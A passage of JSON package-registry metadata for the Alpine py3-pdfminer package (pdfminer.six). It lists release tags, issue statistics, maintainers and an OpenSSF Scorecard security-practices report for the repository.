ind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:10.572Z","dependent_packages_count":2,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":12.888061025368103,"stargazers_count":2.1908816746496362,"forks_count":1.8006031577080008,"average":4.219886464431435},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":55,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-03-23T03:35:28.582Z","updated_at":"2023-03-23T03:35:28.582Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.11","url":"https://pkgs.alpinelinux.org/packages?branch=v3.11","ecosystem":"alpine","default":false,"packages_count":11274,"maintainers_count":184,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.767Z","updated_at":"2026-04-27T18:20:27.521Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.11/namespaces"}},{"id":6188611,"name":"py3-pdfminer","ecosystem":"alpine","description":"Python PDF Parser","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2021-04-05T18:18:34.000Z","latest_release_published_at":"2021-04-05T18:18:34.000Z","latest_release_number":"20201018-r1","last_synced_at":"2026-04-01T01:10:16.034Z","created_at":"2023-02-01T01:08:11.582Z","updated_at":"2026-04-01T01:10:16.034Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.14/community/x86_64/py3-pdfminer","install_command":"apk add py3-pdfminer","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:92: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:115: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:117: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:129: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/actions.yml:135: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:16: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/cifuzz.yml:35: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/cifuzz.yml/master?enable=pin","Warn: pipCommand not pinned by hash: fuzzing/build.sh:2","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:50","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:81","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:82","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:99","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:100","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:122","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:32","Warn: pipCommand not pinned by hash: .github/workflows/actions.yml:33","Info:   0 out of  13 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   4 third-party GitHubAction dependencies pinned","Info:   0 out of  10 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'master'","Info: 'force pushes' disabled on branch 'master'","Warn: branch 'master' does not require approvers","Warn: codeowners review is not required on branch 'master'","Info: status check found to merge onto on branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/actions.yml:105"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 30 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-22T12:40:44.127Z","repository_id":20194704,"created_at":"2025-08-22T12:40:44.127Z","updated_at":"2025-08-22T12:40:44.127Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274693397,"owners_count":25332518,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-11T02:00:13.660Z","response_time":74,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"pdfminer","name":"pdfminer","uuid":"22586632","kind":"organization","description":"we maintain pdfminer.six","email":null,"website":"https://github.com/pdfminer/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/22586632?v=4","repositories_count":1,"last_synced_at":"2024-03-25T18:42:54.428Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/pdfminer","funding_links":[],"total_stars":5318,"followers":34,"following":0,"created_at":"2022-11-02T16:26:19.316Z","updated_at":"2024-03-25T18:42:54.837Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer/repositories"},"tags":[{"name":"20250506","sha":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62","kind":"tag","published_at":"2025-05-06T16:15:36.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250506/manifests"},{"name":"20250416","sha":"d12382b277e7efadf61e387170e2e9f13e909cb0","kind":"tag","published_at":"2025-04-16T09:42:14.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250416","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250416","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250416","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250416/manifests"},{"name":"20250327","sha":"cf7442f2c075374634624d50407c291e455dca2a","kind":"tag","published_at":"2025-03-27T07:50:45.000Z","download_url":"https://codeload.github.